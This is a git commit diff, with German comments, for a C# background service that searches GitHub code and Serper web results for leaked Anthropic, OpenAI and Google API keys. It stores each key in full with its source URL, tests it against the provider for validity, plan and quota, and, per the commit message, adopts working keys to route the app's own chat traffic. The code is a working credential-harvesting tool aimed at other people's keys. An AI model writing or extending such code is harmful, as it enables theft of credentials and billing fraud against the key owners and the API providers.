feat: OpenAI Provider, Key-Checker Quota-Erkennung, persistierte Scanner-Logs
- OpenAI als vollwertiger Chat-Provider (Modell-Auswahl, Key-Routing, StreamChat) - Hardcoded OpenAI-Modelle im Cache (gpt-5.x, gpt-4.1, o3, o4-mini etc.) - /api/models/openai Endpoint, OpenAI-Optgroup im Agent-Dropdown - Key-Routing: OpenAI-Key aus api_keys-Tabelle, Fallback via GetFirstActiveKeyByProvider - OpenAI-Checker: 2-Schritt-Check (Models + chat/completions mit max_tokens=1) - Google-Checker: 2-Schritt-Check (Models + generateContent mit maxOutputTokens=1) - 429 insufficient_quota und billing_not_active korrekt als quota_exceeded erkannt - Provider-Erkennung beim Adopt via KeyPatterns.DetectType() statt hardcoded anthropic - HandleCheck/HandleCheckAll unterstützt jetzt Anthropic, OpenAI und Google - Neue scanner_logs-Tabelle mit details-Spalte (JSON) für strukturierte Auswertung - GitHubEventScannerService: AddLog persistiert in DB, detaillierte Key-Fund-Logs - KeyScannerService: AddLog-Methode mit DB-Persistierung, detaillierte Logs - Frontend: Ungeprüfte-prüfen-Button (sequenziell, stoppt bei valid) - Frontend: Provider-Indicator im Key-Switch-Modal (Anthropic/OpenAI/Google) - Frontend: Check-Button für alle Provider (nicht nur Anthropic)
This commit is contained in:
1 parent
c8859a89d0
commit
542a031172
15 files changed
+614
-90
No files matched your search
@@ -36,6 +36,16 @@ public class KeyScannerService : BackgroundService
|
||||
public string LastRun { get { lock (_lock) return _lastRun; } }
|
||||
public string LastResult { get { lock (_lock) return _lastResult; } }
|
||||
|
||||
private void AddLog(string type, string message, string details = null)
|
||||
{
|
||||
_logger.LogInformation("[CodeSearch] [{Type}] {Message}", type, message);
|
||||
_ = Task.Run(async () =>
|
||||
{
|
||||
try { await _db.CreateScannerLog(type, message, "codesearch", details); }
|
||||
catch { /* DB-Fehler ignorieren */ }
|
||||
});
|
||||
}
|
||||
|
||||
// ── GitHub Search Config ──
|
||||
|
||||
// Zentrale Key-Patterns aus KeyPatterns.cs (für Code Search: nur spezifische Suchterme)
|
||||
@@ -151,7 +161,7 @@ public class KeyScannerService : BackgroundService
|
||||
|
||||
var modeLabels = new Dictionary<string, string> { ["quick"] = "Quick", ["web"] = "Web", ["full"] = "Full" };
|
||||
var modeLabel = modeLabels.ContainsKey(mode) ? modeLabels[mode] : "Full";
|
||||
_logger.LogInformation("KeyScannerService: {Mode}-Scan gestartet", modeLabel);
|
||||
AddLog("scan", modeLabel + "-Scan gestartet");
|
||||
var newKeysFound = 0;
|
||||
var checkedCount = 0;
|
||||
var totalFound = 0;
|
||||
@@ -168,14 +178,14 @@ public class KeyScannerService : BackgroundService
|
||||
{
|
||||
var ghKeys = mode == "quick" ? await ScanGitHubQuick(ct) : await ScanGitHub(ct);
|
||||
allFoundKeys.AddRange(ghKeys.Select(k => (k.Key, k.Url, "github")));
|
||||
_logger.LogInformation("GitHub-Scan ({Mode}): {Count} Key(s) gefunden", modeLabel, ghKeys.Count);
|
||||
AddLog("scan", "GitHub-Scan (" + modeLabel + "): " + ghKeys.Count + " Key(s) gefunden");
|
||||
}
|
||||
|
||||
if (mode != "quick" && !string.IsNullOrWhiteSpace(_serperApiKey))
|
||||
{
|
||||
var spKeys = await ScanSerper(ct);
|
||||
allFoundKeys.AddRange(spKeys.Select(k => (k.Key, k.Url, "serper")));
|
||||
_logger.LogInformation("Serper-Scan: {Count} Key(s) gefunden", spKeys.Count);
|
||||
AddLog("scan", "Serper-Scan: " + spKeys.Count + " Key(s) gefunden");
|
||||
}
|
||||
|
||||
totalFound = allFoundKeys.Count;
|
||||
@@ -188,6 +198,10 @@ public class KeyScannerService : BackgroundService
|
||||
if (await _db.ScannedKeyExists(key) || await _db.ApiKeyExistsInKeys(key))
|
||||
continue;
|
||||
|
||||
var keyType = DetectKeyType(key);
|
||||
var keyPrefix = key[..Math.Min(20, key.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(keyType);
|
||||
|
||||
newKeysFound++;
|
||||
await _db.CreateScannedKey(new ScannedKeyRecord
|
||||
{
|
||||
@@ -195,13 +209,26 @@ public class KeyScannerService : BackgroundService
|
||||
ApiKey = key,
|
||||
Source = source,
|
||||
SourceUrl = sourceUrl,
|
||||
Type = DetectKeyType(key),
|
||||
Type = keyType,
|
||||
Status = "unchecked",
|
||||
Plan = "Unknown",
|
||||
ScannedAt = DateTime.UtcNow.ToString("o")
|
||||
});
|
||||
|
||||
var logMsg = $"🔑 Neuer {typeName} Key! Quelle: {source} · URL: {sourceUrl} · Prefix: {keyPrefix}";
|
||||
var detailsJson = JsonSerializer.Serialize(new
|
||||
{
|
||||
key_type = keyType,
|
||||
key_type_name = typeName,
|
||||
key_prefix = keyPrefix,
|
||||
key_length = key.Length,
|
||||
source,
|
||||
source_url = sourceUrl,
|
||||
scan_mode = modeLabel
|
||||
});
|
||||
AddLog("key_found", logMsg, detailsJson);
|
||||
}
|
||||
_logger.LogInformation("{Count} neue Key(s) gespeichert", newKeysFound);
|
||||
AddLog("scan", newKeysFound + " neue Key(s) gespeichert");
|
||||
|
||||
// Phase 3: Alle unchecked Keys prüfen
|
||||
var allScanned = (await _db.GetScannedKeys()).ToList();
|
||||
@@ -220,12 +247,12 @@ public class KeyScannerService : BackgroundService
|
||||
_lastResult = $"{modeLabel}: {totalFound} gefunden, {newKeysFound} neu, {checkedCount} geprüft";
|
||||
}
|
||||
|
||||
_logger.LogInformation("KeyScannerService: Scan abgeschlossen – {Result}", _lastResult);
|
||||
AddLog("scan", "Scan abgeschlossen – " + _lastResult);
|
||||
}
|
||||
catch (OperationCanceledException) { /* shutdown */ }
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogError(ex, "KeyScannerService: Fehler beim Scan");
|
||||
AddLog("error", "Scan-Fehler: " + ex.Message);
|
||||
lock (_lock)
|
||||
{
|
||||
_lastRun = DateTime.UtcNow.ToString("o");
|
||||
@@ -281,12 +308,12 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit (Quick), warte 60s ...");
|
||||
AddLog("rate_limit", "GitHub Rate-Limit (Quick), warte 60s");
|
||||
await Task.Delay(60_000, ct);
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("GitHub-Suche fehlgeschlagen (Quick): {Msg}", ex.Message);
|
||||
AddLog("error", "GitHub-Suche fehlgeschlagen (Quick): " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -318,7 +345,7 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
catch (HttpRequestException ex) when (ex.StatusCode == System.Net.HttpStatusCode.Forbidden)
|
||||
{
|
||||
_logger.LogWarning("GitHub Rate-Limit erreicht, warte 60s ...");
|
||||
AddLog("rate_limit", "GitHub Rate-Limit erreicht, warte 60s");
|
||||
await Task.Delay(60_000, ct);
|
||||
try
|
||||
{
|
||||
@@ -328,12 +355,12 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
catch (Exception retryEx)
|
||||
{
|
||||
_logger.LogWarning("Retry fehlgeschlagen: {Msg}", retryEx.Message);
|
||||
AddLog("error", "Retry fehlgeschlagen: " + retryEx.Message);
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("GitHub-Suche fehlgeschlagen: {Msg}", ex.Message);
|
||||
AddLog("error", "GitHub-Suche fehlgeschlagen: " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -507,12 +534,12 @@ public class KeyScannerService : BackgroundService
|
||||
}
|
||||
}
|
||||
|
||||
_logger.LogInformation("Serper-Suche für '{Term}': {Count} Ergebnis(se)", searchTerm, allKeys.Count);
|
||||
AddLog("scan", "Serper '" + searchTerm + "': " + allKeys.Count + " Ergebnis(se)");
|
||||
await Task.Delay(1000, ct); // Rate-Limit schonen
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Serper-Suche fehlgeschlagen für '{Term}': {Msg}", searchTerm, ex.Message);
|
||||
AddLog("error", "Serper-Suche fehlgeschlagen für '" + searchTerm + "': " + ex.Message);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -524,6 +551,8 @@ public class KeyScannerService : BackgroundService
|
||||
public async Task CheckAndUpdateKey(ScannedKeyRecord sk)
|
||||
{
|
||||
var type = KeyPatterns.DetectType(sk.ApiKey);
|
||||
var keyPrefix = sk.ApiKey[..Math.Min(20, sk.ApiKey.Length)] + "...";
|
||||
var typeName = KeyPatterns.DisplayName(type);
|
||||
|
||||
try
|
||||
{
|
||||
@@ -532,28 +561,35 @@ public class KeyScannerService : BackgroundService
|
||||
var result = await AnthropicKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = (result.Status == "ok" || result.Status == "usage_limited") ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Plan, result.Usage7d, result.Usage5h);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · Plan: {result.Plan} · Usage 7d: {result.Usage7d?.ToString("F2") ?? "n/a"} · Usage 5h: {result.Usage5h?.ToString("F2") ?? "n/a"} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, plan = result.Plan, usage_7d = result.Usage7d, usage_5h = result.Usage5h, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "openai_project" || type == "openai_service" || type == "openai_legacy")
|
||||
{
|
||||
var result = await OpenAiKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else if (type == "google_api")
|
||||
{
|
||||
var result = await GoogleKeyChecker.CheckKeyAsync(_httpFactory, sk.ApiKey);
|
||||
var status = result.Status == "ok" ? "valid" : result.Status;
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, status, result.Message, null, null);
|
||||
var checkMsg = $"🔍 {typeName} geprüft: {status} · {result.Message} · {keyPrefix}";
|
||||
AddLog("key_checked", checkMsg, JsonSerializer.Serialize(new { key_type = type, key_prefix = keyPrefix, status, message = result.Message, source_url = sk.SourceUrl }));
|
||||
}
|
||||
else
|
||||
{
|
||||
// Andere Key-Typen: Typ korrekt setzen, kein Check möglich
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "unchecked", type, null, null);
|
||||
AddLog("key_checked", $"⏭️ {typeName} übersprungen (kein Checker) · {keyPrefix}");
|
||||
}
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
_logger.LogWarning("Key-Check fehlgeschlagen für {Id}: {Msg}", sk.ScannedKeyId, ex.Message);
|
||||
AddLog("error", $"Key-Check fehlgeschlagen für {typeName} ({keyPrefix}): {ex.Message}");
|
||||
await _db.UpdateScannedKeyStatus(sk.ScannedKeyId, "error", "Unknown", null, null);
|
||||
}
|
||||
}
|
||||
|
||||
Reference in new issue
Block a user